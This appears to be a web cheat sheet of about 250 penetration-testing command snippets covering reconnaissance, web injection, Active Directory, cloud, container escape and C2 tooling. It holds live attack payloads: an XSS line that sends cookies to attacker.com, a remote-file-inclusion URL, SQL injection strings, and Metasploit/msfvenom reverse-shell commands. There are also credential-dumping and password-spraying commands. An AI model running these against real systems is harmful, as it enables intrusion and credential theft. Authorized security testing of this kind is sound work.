Nmap - Top 1000 TCP
Default scripts and service detection on common ports. ↗
nmap -sC -sV -oN nmap.txt <target>Red Team Commands
251 curated command snippets for security professionals
Nmap - All TCP ports
Full TCP sweep. ↗
nmap -p- -T4 -oN nmap-all.txt <target>Nmap - UDP Top 100
Fast UDP reconnaissance.
nmap -sU --top-ports 100 -oN nmap-udp.txt <target>Naabu - Quick ports
ProjectDiscovery port scan. ↗
naabu -host <target> -p - | tee ports.txthttpx - Probe live hosts
Web probe with status, title, and tech. ↗
cat hosts.txt | httpx -status-code -title -tech-detect -o alive.txtffuf - Directory brute force
Discover hidden paths. ↗
ffuf -u https://<host>/FUZZ -w /path/wordlist.txt -fc 404 -o ffuf.jsondirsearch - Content discovery
Fast content discovery. ↗
dirsearch -u https://<host> -e php,aspx,js -x 403,404waybackurls - Archived paths
Enumerate archived URLs.
echo <domain> | waybackurls | tee urls.txtgau - Gather URLs
Collect historical URLs. ↗
echo <domain> | gau --subs | tee urls.txtamass - Passive subdomains
Passive subdomain enumeration. ↗
amass enum -passive -d <domain> -o subs.txtsubfinder - Subdomains
Fast passive subdomain discovery. ↗
subfinder -d <domain> -all -silent | tee subs.txtNuclei - CVE templates
Template-based vuln checks. ↗
nuclei -l urls.txt -t cves/ -o nuclei-cves.txtNikto - Web scanner
Identify common misconfigs. ↗
nikto -h https://<host> -ssl -o nikto.txtWappalyzer - CLI
Identify technologies.
wappalyzer https://<host>whatweb - Fingerprint
Website fingerprinting.
whatweb https://<host>sqlmap - Test parameter
Automated SQL injection. ↗
sqlmap -u 'https://<host>/item?id=1' --batch --risk=2 --level=2Burp Suite - Proxy CA
Set up interception for web testing.
# Import Burp CA into browser to intercept TLSwpscan - WordPress
WordPress enumeration.
wpscan --url https://<host> --enumerate u,vt,tt --api-token <token>joomscan - Joomla!
Joomla scanner.
joomscan -u https://<host>droopescan - Drupal
Drupal scanner.
droopescan scan drupal -u https://<host>Hashcat - NTLM mask brute
NTLM cracking with an 8-character mask attack in an authorized lab. ↗
hashcat -m 1000 hashes.txt ?a?a?a?a?a?a?a?a -OHashcat - Rules attack
Smart candidate generation via rules. ↗
hashcat -m 0 hashes.txt rockyou.txt -r rules/best64.rule -OJohn - Single crack
John the Ripper single crack mode. ↗
john --single --format=NT hashes.txtKerbrute - User enum
Enumerate AD users via Kerberos in an authorized test. ↗
kerbrute userenum --dc <dc-ip> -d <domain> users.txtRubeus - Kerberoast
Request service tickets for SPNs in an authorized assessment. ↗
Rubeus.exe kerberoast /nowrapWindows - LSASS protection check
Check whether LSASS is configured as a protected process. ↗
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPLSharpHound - Collect
Collect AD data for BloodHound in an authorized environment. ↗
SharpHound.exe -c AllResponder - Analyze only
Analyze LLMNR/NBT-NS/mDNS traffic without poisoning. ↗
responder -I eth0 -AImpacket - psexec
Execute commands over SMB with valid authorization. ↗
psexec.py <domain>/<user>:<pass>@<target>NetExec - Spray audit
Authorized password spray validation across SMB using NetExec. ↗
nxc smb <subnet> -u users.txt -p 'Winter2026!' --continue-on-successEvil-WinRM - Shell
WinRM shell access with valid credentials. ↗
evil-winrm -i <ip> -u <user> -p <pass>Metasploit - Search
Search modules from CLI. ↗
msfconsole -q -x 'search type:exploit name:<term>; exit'Metasploit - Handler
Start a payload handler in a lab or approved assessment. ↗
use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST <ip>; set LPORT 4444; runsearchsploit - Query
Search Exploit-DB locally. ↗
searchsploit <software> <version>Linux - SUID find
Find SUID binaries for privilege review.
find / -perm -4000 -type f 2>/dev/nullLinux - Capabilities
Enumerate Linux file capabilities.
getcap -r / 2>/dev/nullLinPEAS - Privesc
Automated Linux privilege review in an authorized environment. ↗
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.sh && chmod +x linpeas.sh && ./linpeas.shWindows - Unquoted services
Identify unquoted service paths.
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\\Windows\\" | findstr /i /v '"' Seatbelt - Host audit
Run Windows host configuration checks. ↗
Seatbelt.exe -group=systemAircrack-ng - Monitor mode
Enable monitor mode on wireless interface. ↗
airmon-ng start wlan0Aircrack-ng - Capture handshake
Capture WPA handshake.
airodump-ng -c <channel> --bssid <AP_MAC> -w capture wlan0monAircrack-ng - Crack WPA
Crack WPA using wordlist.
aircrack-ng -w rockyou.txt -b <AP_MAC> capture*.capWireshark - CLI capture
Capture packets with tshark. ↗
tshark -i eth0 -w capture.pcaptcpdump - Capture to file
Packet capture with tcpdump.
tcpdump -i eth0 -w capture.pcapBettercap - ARP spoof
ARP spoofing and sniffing. ↗
bettercap -iface eth0 -eval 'set arp.spoof.targets <target>; arp.spoof on; net.sniff on'Scapy - Packet craft
Interactive packet manipulation (Python). ↗
scapyHydra - SSH brute
Brute force SSH credentials. ↗
hydra -l <user> -P passwords.txt ssh://<target>Hydra - HTTP POST
Brute force web login.
hydra -l <user> -P passwords.txt <target> http-post-form '/login:username=^USER^&password=^PASS^:F=incorrect'Burp Intruder - Position
Mark injection points in Burp Suite.
# Use Burp Intruder with §markers§ for payloadsXSS - Basic payload
Simple XSS proof of concept.
<script>alert(document.domain)</script>XSS - Steal cookies
Exfiltrate cookies via XSS.
<script>fetch('https://attacker.com/?c='+document.cookie)</script>SQLi - Union query
Extract data via SQL injection.
' UNION SELECT null,username,password FROM users--SQLi - Error-based
Trigger error messages for enumeration.
' AND 1=convert(int,(SELECT @@version))--SSRF - AWS metadata
Access AWS instance metadata.
http://169.254.169.254/latest/meta-data/AWS CLI - List S3 buckets
Enumerate S3 buckets. ↗
aws s3 ls --profile <profile>AWS CLI - Public bucket check
Test for public S3 access.
aws s3 ls s3://<bucket> --no-sign-requestkubectl - List pods
List all pods in all namespaces. ↗
kubectl get pods -Akubectl - Exec into pod
Interactive shell in pod.
kubectl exec -it <pod-name> -n <namespace> -- /bin/bashDocker - Escape check
Check if inside a container.
cat /proc/1/cgroup | grep dockerDocker - Mount host
Mount host filesystem in container.
docker run -v /:/host -it ubuntu chroot /hostAzure CLI - List VMs
Enumerate Azure VMs. ↗
az vm list --output tableGCP - List projects
List GCP projects. ↗
gcloud projects listPacu - AWS exploit
AWS exploitation framework. ↗
pacuScoutSuite - Cloud audit
Multi-cloud security audit. ↗
scout aws --profile <profile>Volatility 3 - Image info
Identify Windows memory image metadata. ↗
vol -f memory.dmp windows.infoVolatility 3 - List processes
List running processes from a Windows memory image. ↗
vol -f memory.dmp windows.pslist.PsListAutopsy - Timeline
Launch Autopsy GUI for disk analysis. ↗
autopsyFTK Imager - Acquire
Create bit-by-bit disk images. ↗
# Use FTK Imager GUI to create forensic imagesdd - Disk image
Create a raw disk image while preserving read progress.
dd if=/dev/sda of=disk.img bs=4M status=progress conv=noerror,syncbinwalk - Extract firmware
Extract embedded files from firmware. ↗
binwalk -e firmware.binstrings - Extract text
Find printable strings in binary.
strings -n 10 binary | lessltrace - Library calls
Trace library calls.
ltrace ./binarystrace - System calls
Trace system calls.
strace ./binaryGhidra - Decompile
Static analysis with Ghidra. ↗
# Import binary into Ghidra and run analysisradare2 - Disassemble
Disassemble and analyze binary. ↗
r2 -A binaryobjdump - Disasm section
Disassemble with objdump.
objdump -d -M intel binaryADB - List devices
List connected Android devices. ↗
adb devicesADB - Pull APK
Locate and extract an APK from a test device. ↗
adb shell pm path <package> && adb pull <apk-path>apktool - Decompile APK
Decompile APK resources. ↗
apktool d app.apkFrida - Trace Android
Trace Android method calls in a lab app. ↗
frida-trace -U -f <package> -i '*decrypt*'objection - Mobile explore
Runtime instrumentation for mobile app testing. ↗
objection -g <app-or-package> exploreSSH - Local port forward
Forward remote port to local.
ssh -L 8080:localhost:80 user@remoteSSH - Dynamic SOCKS
Create SOCKS proxy via SSH.
ssh -D 9050 user@remoteChisel - Reverse tunnel
Start a reverse-capable tunnel server. ↗
chisel server -p 8080 --reversesocat - Port relay
Relay traffic between ports.
socat TCP-LISTEN:8080,fork TCP:<target>:80proxychains - Route through SOCKS
Route tools through a SOCKS proxy.
proxychains4 nmap -sT -Pn <target>Ligolo-ng - Start proxy
Start the Ligolo-ng proxy with a self-signed certificate for lab pivoting. ↗
ligolo-proxy -selfcertEmpire - Server
Start the Empire server in a lab environment. ↗
./ps-empire serverMythic - Start
Start Mythic for authorized adversary emulation labs. ↗
sudo ./mythic-cli startGophish - Start server
Launch Gophish for approved phishing simulations. ↗
gophishSET - Training lab
Use Social Engineering Toolkit in an isolated training lab. ↗
setoolkitEvilginx - Awareness lab
Run an approved awareness lab for MFA-resistant phishing risk education. ↗
evilginx -p ./phishletsDNS egress - Canary check
Validate DNS egress monitoring with an owned canary domain.
nslookup $(whoami).<canary-domain>Netcat - Listener test
Start a listener for connectivity testing in an isolated lab.
nc -lvnp 4444PowerShell - Download test
Test Windows download telemetry with a benign file. ↗
powershell -NoProfile -Command "Invoke-WebRequest https://example.com/file.txt -OutFile file.txt"certutil - Download telemetry
Validate alerting on certutil network transfer behavior. ↗
certutil -urlcache -f https://example.com/file.txt file.txtbitsadmin - Download telemetry
Validate alerting on BITS transfer behavior. ↗
bitsadmin /transfer testjob https://example.com/file.txt C:\temp\file.txtmshta - Execution telemetry
Validate controls and telemetry for mshta execution. ↗
mshta.exe about:blankregsvr32 - Execution telemetry
Validate monitoring for regsvr32 usage before testing advanced scenarios. ↗
regsvr32.exe /?Cron - Persistence audit
Review cron persistence locations.
crontab -l 2>/dev/null; ls -la /etc/cron.* /var/spool/cron 2>/dev/nullSystemd - Service audit
Review enabled Linux services.
systemctl list-unit-files --type=service --state=enabledRegistry - Run key audit
Review user Run key persistence entries.
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"Scheduled Task - Audit
Review scheduled tasks for suspicious persistence.
schtasks /query /fo LIST /vWMI - Event subscription audit
Review WMI event subscriptions. ↗
Get-CimInstance -Namespace root/subscription -ClassName __EventFilterLaZagne - Lab validation
Validate stored-credential exposure in an authorized lab profile. ↗
laZagne.exe browsersSecretsdump - Authorized audit
Validate credential exposure with explicit authorization. ↗
secretsdump.py <domain>/<user>:<pass>@<target>PsExec - Authorized remote exec
Remote command execution with valid authorization. ↗
psexec.py <domain>/<user>:<pass>@<target> cmd.exeWMIExec - Authorized remote exec
Execute via WMI with valid authorization. ↗
wmiexec.py <domain>/<user>:<pass>@<target>SMBExec - Authorized remote exec
Execute via SMB with valid authorization. ↗
smbexec.py <domain>/<user>:<pass>@<target>rpcclient - Enum users
Enumerate domain users where null sessions are intentionally exposed for testing.
rpcclient -U '' -N <target> -c 'enumdomusers'enum4linux-ng - Full enum
Comprehensive SMB enumeration using the maintained enum4linux-ng fork. ↗
enum4linux-ng -A <target>smbclient - List shares
List SMB shares.
smbclient -L //<target> -Nsmbmap - Enum shares
Enumerate SMB share permissions. ↗
smbmap -H <target>BloodHound - Ingest data
Analyze AD and Entra ID attack paths. ↗
# Import SharpHound or AzureHound data into BloodHoundMasscan - Internet scan
High-speed port scanner. ↗
masscan -p80,443 0.0.0.0/0 --rate 10000Shodan - CLI search
Search Shodan from CLI. ↗
shodan search 'product:apache'theHarvester - Email enum
Gather emails and subdomains. ↗
theHarvester -d <domain> -b allRecon-ng - Workspace
OSINT reconnaissance framework. ↗
recon-ng -w <workspace>SpiderFoot - Auto OSINT
Automated OSINT collection. ↗
spiderfoot -s <target>DNSRecon - Full enum
Comprehensive DNS enumeration.
dnsrecon -d <domain> -t axfr,brt,srv,stdFierce - DNS brute
DNS reconnaissance and brute force.
fierce --domain <domain>dig - AXFR attempt
Attempt zone transfer.
dig axfr @<nameserver> <domain>nslookup - Reverse lookup
Reverse DNS lookup.
nslookup <ip>whois - Domain info
Query domain registration info.
whois <domain>LDAP - Anonymous bind
Anonymous LDAP enumeration.
ldapsearch -x -H ldap://<target> -b 'dc=domain,dc=com'ldapdomaindump - Extract AD
Dump AD via LDAP. ↗
ldapdomaindump -u '<domain>\<user>' -p <pass> <dc-ip>ADExplorer - Snapshot
Offline AD browsing.
# Create AD snapshot in ADExplorer GUIPowerView - Get users
Enumerate AD users. ↗
powershell -c "Import-Module .\PowerView.ps1; Get-DomainUser"PowerView - Find shares
Find accessible shares.
powershell -c "Import-Module .\PowerView.ps1; Invoke-ShareFinder"Invoke-Kerberoast
Kerberoast attack.
powershell -c "Import-Module .\PowerView.ps1; Invoke-Kerberoast -OutputFormat Hashcat"AS-REP Roast
AS-REP roasting for users without preauth. ↗
GetNPUsers.py <domain>/ -usersfile users.txt -dc-ip <dc-ip>Constrained delegation
Abuse constrained delegation.
getST.py -spn <service>/<host> -impersonate Administrator <domain>/<user>:<pass>DCShadow - Register
Advanced AD persistence.
# Use mimikatz DCShadow to register rogue DCNTLM relay - responder + ntlmrelayx
Relay NTLM auth to targets. ↗
ntlmrelayx.py -tf targets.txt -smb2supportCoercer - Force auth
Coerce authentication from target. ↗
coercer -u <user> -p <pass> -d <domain> -t <target> -l <listener>PetitPotam - Coerce
EFSRPC coercion. ↗
PetitPotam.py <listener> <target>PrinterBug - Coerce
Printer bug coercion.
printerbug.py <domain>/<user>:<pass>@<target> <listener>certipy - Find vuln templates
Find vulnerable AD CS templates. ↗
certipy find -u <user>@<domain> -p <pass> -dc-ip <dc-ip> -vulnerableCertify - Enum templates
Enumerate AD CS vulnerabilities. ↗
Certify.exe find /vulnerableCommix - Command injection
Automated command injection. ↗
commix --url='http://<target>/page?param=1'NoSQLMap - NoSQL injection
NoSQL injection testing. ↗
nosqlmap -t http://<target> -p paramXXEinjector - XXE
XXE exploitation. ↗
xxeinjector --host=<target> --path=/ --file=xml.xml --oob=http --phpfiltertplmap - SSTI
Server-side template injection. ↗
tplmap -u 'http://<target>?name=*'Arjun - Param discovery
HTTP parameter discovery. ↗
arjun -u https://<target>ParamSpider - URL params
Mine parameters from archives. ↗
paramspider -d <domain>Dalfox - XSS scanner
Fast XSS scanner. ↗
dalfox url https://<target>?param=testXSStrike - XSS
Advanced XSS detection. ↗
xsstrike -u 'http://<target>?param=1'JWT_Tool - Analyze token
Test JWT security. ↗
jwt_tool <token>GraphQL - Introspection
Query GraphQL schema.
curl -X POST https://<target>/graphql -H "Content-Type: application/json" -d '{"query":"{__schema{types{name}}}"}'Postman - API test
API development and testing.
# Use Postman for API testingSwagger - API docs
Discover API documentation.
# Access /swagger or /api-docs endpointCORS - Test config
Test CORS configuration.
curl -H "Origin: https://evil.com" https://<target> -ICSRF - PoC
CSRF proof of concept.
<form action="https://<target>/action" method="POST"><input type="hidden" name="param" value="value"/></form><script>document.forms[0].submit()</script>Clickjacking - PoC
Clickjacking test.
<iframe src="https://<target>" style="opacity:0.1;position:absolute;top:0;left:0;width:100%;height:100%"></iframe>SSRF - Bypass localhost
SSRF localhost bypass techniques.
http://127.0.0.1/ or http://[::1]/ or http://localhost.attacker.comLFI - /etc/passwd
Local file inclusion test.
../../../etc/passwdLFI - PHP filter
Extract PHP source via filter.
php://filter/convert.base64-encode/resource=index.phpRFI - Remote include
Remote file inclusion.
http://attacker.com/shell.txtFile upload - Bypass extension
Bypass upload filters.
shell.php.jpg or shell.phtml or .htaccess tricksPolyglot file
Bypass content-type validation.
# Create file valid as multiple types (JPEG + PHP)Deserialization - PHP
PHP object injection.
O:8:"stdClass":1:{s:4:"test";s:4:"pwnd";}Java deserialization - ysoserial
Generate Java gadget chains. ↗
java -jar ysoserial.jar CommonsCollections5 'calc'LDAP injection
LDAP injection payload.
*)(&(password=*) or *)(cn=*XML bomb
XML entity expansion DoS.
<?xml version="1.0"?><!DOCTYPE lolz [<!ENTITY lol "lol"><!ENTITY lol2 "&lol;&lol;">]><lolz>&lol2;</lolz>Base64 encode
Encode a string in base64.
echo -n 'payload' | base64Base64 decode
Decode base64.
echo 'cGF5bG9hZA==' | base64 -dURL encode
URL encoding for request normalization testing.
# Use %20 for space, %3C for <, etc.Unicode encode
Unicode encoding for parser normalization testing.
# Use \u0061 for 'a', etc.HTML entities
HTML entity encoding.
<script> for <script>PowerShell - Encoded command audit
Review PowerShell telemetry before testing encoded-command detections. ↗
Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' -MaxEvents 20PowerShell - Download telemetry
Validate benign download telemetry. ↗
powershell -NoProfile -Command "Invoke-WebRequest https://example.com/file.txt -OutFile file.txt"AMSI - Status check
Check Microsoft Defender and AMSI-adjacent protection status. ↗
Get-MpComputerStatus | Select-Object AMServiceEnabled,AntivirusEnabled,RealTimeProtectionEnabledInvoke-Obfuscation - Lab only
Generate obfuscation samples for approved detection testing. ↗
# Use Invoke-Obfuscation in an isolated detection engineering labDonut - Shellcode lab
Generate position-independent code in an isolated lab. ↗
donut -f <exe> -o shellcode.binVeil - Lab validation
Use only in an isolated malware-detection validation lab. ↗
veilShellter - Lab validation
Use only in an isolated malware-detection validation lab. ↗
shelltermsfvenom - Payload lab
Generate a payload for an isolated authorized lab. ↗
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f exe -o payload.exemsfvenom - Encoder lab
Test encoder-related detection behavior in a lab. ↗
msfvenom -p <payload> -e x86/shikata_ga_nai -i 3Cobalt Strike - Profile review
Prepare beacon-profile testing in an approved environment.
# Review approved Malleable C2 profiles before lab useSliver - Implant lab
Start Sliver for authorized implant testing in an isolated lab. ↗
sliver-serverC2 redirector - socat lab
Build a simple redirector in a lab network.
socat TCP4-LISTEN:8080,fork TCP4:<lab-server>:8080Domain fronting - Control review
Review whether CDN and proxy policy blocks domain-fronting patterns.
# Confirm CDN and egress controls before any domain-fronting testDNS tunneling - Detection lab
Validate DNS tunneling detections with an owned domain in a lab. ↗
dnscat2-server <owned-domain>ICMP tunnel - Detection lab
Validate ICMP tunnel detections in a lab.
ptunnel -p <proxy> -lp <lport> -da <dest> -dp <dport>HTTP/S beacon - Profile review
Confirm monitoring coverage for C2-like HTTP patterns.
# Review approved beacon profiles and proxy logsLiving off the land - LOLBAS
Map built-in Windows binary behavior to detections. ↗
# Review LOLBAS entries for detection engineeringPowerShell - Operational log audit
Review PowerShell operational logging coverage. ↗
Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' -MaxEvents 50Windows Defender - Exclusion audit
Audit configured Defender exclusions. ↗
Get-MpPreference | Select-Object -ExpandProperty ExclusionPathAppLocker - Policy audit
Review effective AppLocker policy. ↗
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollectionsProcess injection - ATT&CK
Use ATT&CK to scope process injection detection coverage. ↗
# Review ATT&CK T1055 and map detectionsProcess hollowing - Detection
Map process hollowing behavior to telemetry. ↗
# Hunt for suspicious image loads, parent-child chains, and memory anomaliesReflective DLL injection - Research
Understand reflective DLL loading for defensive coverage. ↗
# Review technique details before writing lab detectionsAPC injection - Detection
Review APC queue injection telemetry. ↗
# Hunt for QueueUserAPC and unusual thread start behaviorThread hijacking - Detection
Review thread hijacking telemetry. ↗
# Hunt for suspicious SuspendThread/SetThreadContext/ResumeThread sequencesPE injection - Detection
Review manual mapping and PE injection telemetry. ↗
# Hunt for private executable memory and abnormal module loadsParent PID spoofing - Detection
Review parent process spoofing detections. ↗
# Compare process creation logs against expected parent-child relationshipsToken impersonation - Audit
Review token-related privileges on Windows hosts.
whoami /privToken duplication - Detection
Map token duplication behavior to detections. ↗
# Hunt for DuplicateTokenEx and unusual privileged process accessSeDebugPrivilege - Audit
Check whether the current token has debug privilege.
whoami /priv | findstr /i SeDebugPrivilegeCredential dumping - Protection check
Check whether LSASS protection is enabled. ↗
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPLSAM database - Access audit
Review permissions on the SAM hive file.
icacls C:\Windows\System32\config\SAMDPAPI - Audit
Review DPAPI master key locations for an authorized account.
dir %APPDATA%\Microsoft\Protect /aBrowser creds - Policy audit
Audit browser credential storage exposure.
# Review browser password-manager and enterprise policy settingsVault creds - Audit
List Windows Vaults visible to the current user.
VaultCmd.exe /listDocker - Privileged container audit
Identify privileged containers. ↗
docker ps --format '{{.ID}} {{.Names}}' | while read id name; do docker inspect --format '{{.HostConfig.Privileged}} {{.Name}}' $id; doneDocker - Host mount audit
Review host mounts exposed to a container. ↗
docker inspect <container> --format '{{json .Mounts}}'Kubernetes - Service account audit
Review service accounts across namespaces. ↗
kubectl get serviceaccounts -AKubernetes - HostPath audit
Find pods using hostPath volumes. ↗
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name}{" "}{.spec.volumes[*].hostPath.path}{"
"}{end}'Kubernetes - Exec into pod
Open a shell in a pod with authorization. ↗
kubectl exec -it <pod> -n <namespace> -- /bin/bashContainer - Capabilities audit
Review Linux capabilities available in a container.
capsh --printCloud - AWS IMDSv2 check
Check whether metadata access is reachable from an authorized test host. ↗
curl -s -o /dev/null -w '%{http_code}
' http://169.254.169.254/latest/meta-data/Cloud - Azure metadata
Query Azure metadata from an authorized test host. ↗
curl -H Metadata:true 'http://169.254.169.254/metadata/instance?api-version=2021-02-01'Cloud - GCP metadata
Query GCP metadata from an authorized test host. ↗
curl 'http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true' -H 'Metadata-Flavor: Google'Cloud - S3 bucket enum
List public S3 bucket contents when testing owned or authorized buckets. ↗
aws s3 ls s3://<bucket> --no-sign-requestGit - Search secrets
Find verified secrets in Git history. ↗
trufflehog git https://github.com/org/repo --only-verifiedGit - Gitleaks
Detect secrets in Git repos. ↗
gitleaks detect --source . -vGitHub - Secret search
Review GitHub code search results for exposed secrets in authorized repos. ↗
# Search: org:target token OR password OR secretENV files - Search
Find local environment files during source review.
find . -name ".env*" -type f -not -path "*/node_modules/*"Terraform - State file audit
Review Terraform state resources and confirm state storage is protected. ↗
terraform state listAnsible - Vault check
View encrypted Ansible Vault content with authorization. ↗
ansible-vault view vault.ymlCI/CD - Jenkins audit
Audit Jenkins administrative risk areas. ↗
# Review Jenkins credentials scope, script console access, and plugin healthCI/CD - GitLab CI audit
Find secret exposure and branch protection gaps. ↗
# Review .gitlab-ci.yml and protected CI/CD variablesCI/CD - GitHub Actions audit
Review workflows and repository secrets. ↗
gh workflow list && gh secret listCI/CD - Pipeline review
Identify common CI/CD pipeline abuse paths. ↗
# Review untrusted pull_request_target, writable tokens, and third-party actionsSupply chain - Dependency confusion review
Assess dependency confusion exposure without publishing packages. ↗
# Compare internal package names against public registriesNPM - Package audit
Review vulnerable npm dependencies. ↗
npm audit --audit-level=moderatePyPI - Package audit
Audit Python dependencies for known vulnerabilities. ↗
pip-auditAPI - Rate limit review
Validate API rate limiting without bypass guidance. ↗
# Confirm per-user, per-token, and per-IP rate limits with approved test casesAPI - Mass assignment test
Check whether unexpected properties are ignored or rejected. ↗
# POST {"unexpectedProperty": true} to a test endpointAPI - IDOR test
Test object-level authorization with approved accounts. ↗
# Compare authorized access to /api/resource/<owned-id> vs <unowned-id>API - GraphQL batching review
Validate GraphQL batching controls. ↗
# Test batching against documented rate limits in a staging tenantCache poisoning - Header review
Check whether untrusted headers influence cacheable responses.
curl -I -H 'X-Forwarded-Host: example.com' https://<target>Cache poisoning - Unkeyed header audit
Review unkeyed header behavior safely. ↗
# Compare cache keys and response variance across forwarded headersHTTP request smuggling - CL.TE review
Validate CL.TE request smuggling exposure. ↗
# Use a dedicated scanner in an approved staging environmentHTTP request smuggling - TE.CL review
Validate TE.CL request smuggling exposure. ↗
# Use a dedicated scanner in an approved staging environmentHTTP/2 - Request smuggling review
Review HTTP/2 downgrade smuggling risk. ↗
# Confirm proxy downgrade behavior in stagingWebSocket - CSRF review
Review cross-site WebSocket hijacking risk. ↗
# Confirm Origin checks and session binding on WebSocket handshakesWebSocket - Message schema test
Validate WebSocket message authorization and schema enforcement.
# Send {"unexpectedProperty":true} in stagingPrototype pollution - JS test
Test JavaScript prototype pollution in a controlled local lab. ↗
__proto__.isAdmin = truePrototype pollution - JSON test
Test unsafe object merge behavior in a controlled local lab. ↗
{"__proto__":{"isAdmin":true}}Server-side prototype pollution
Assess server-side prototype pollution risk safely. ↗
# Validate object merge and parser behavior in a local Node.js test appRace condition - TOCTOU review
Review race condition exposure. ↗
# Use staging traffic replay to test duplicate submissions and lockingRace condition - Burp Repeater
Automated race condition testing with authorization. ↗
# Use Burp's parallel send in an approved staging environmentBusiness logic - Discount review
Review discount and promotion abuse controls.
# Test coupon reuse rules with approved staging accountsBusiness logic - Quantity review
Validate server-side input rules for quantities.
# POST {"qty": -1} to a staging endpointSSRF - Blind canary
Detect blind SSRF safely. ↗
# Trigger DNS/HTTP callback to an owned canary domain in stagingSSRF - Cloud metadata control
Review cloud metadata access protections. ↗
# Confirm metadata IP blocking and IMDSv2 enforcementXXE - File read lab
Test XXE file access only in a local lab parser. ↗
<!ENTITY xxe SYSTEM "file:///etc/hostname">XXE - OOB lab
Test blind XXE only against owned canary infrastructure. ↗
<!ENTITY % xxe SYSTEM "http://<owned-canary>/xxe">SSTI - Jinja2 lab
Test template exposure in a controlled local lab. ↗
{{config.items()}}SSTI - Twig lab
Validate Twig template expression handling in a local lab. ↗
{{7*7}}